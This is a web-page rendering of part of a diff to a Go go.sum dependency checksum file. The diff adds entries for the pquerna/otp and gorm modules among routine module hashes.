github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
|
||||
github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
|
||||
github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
|
||||
@@ -372,6 +376,8 @@ github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6J
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
|
||||
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
|
||||
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
|
||||
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
|
||||
github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
|
||||
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
|
||||
@@ -697,6 +703,8 @@ gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
|
||||
gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
|
||||
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
|
||||
Loaded 100 of 291 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user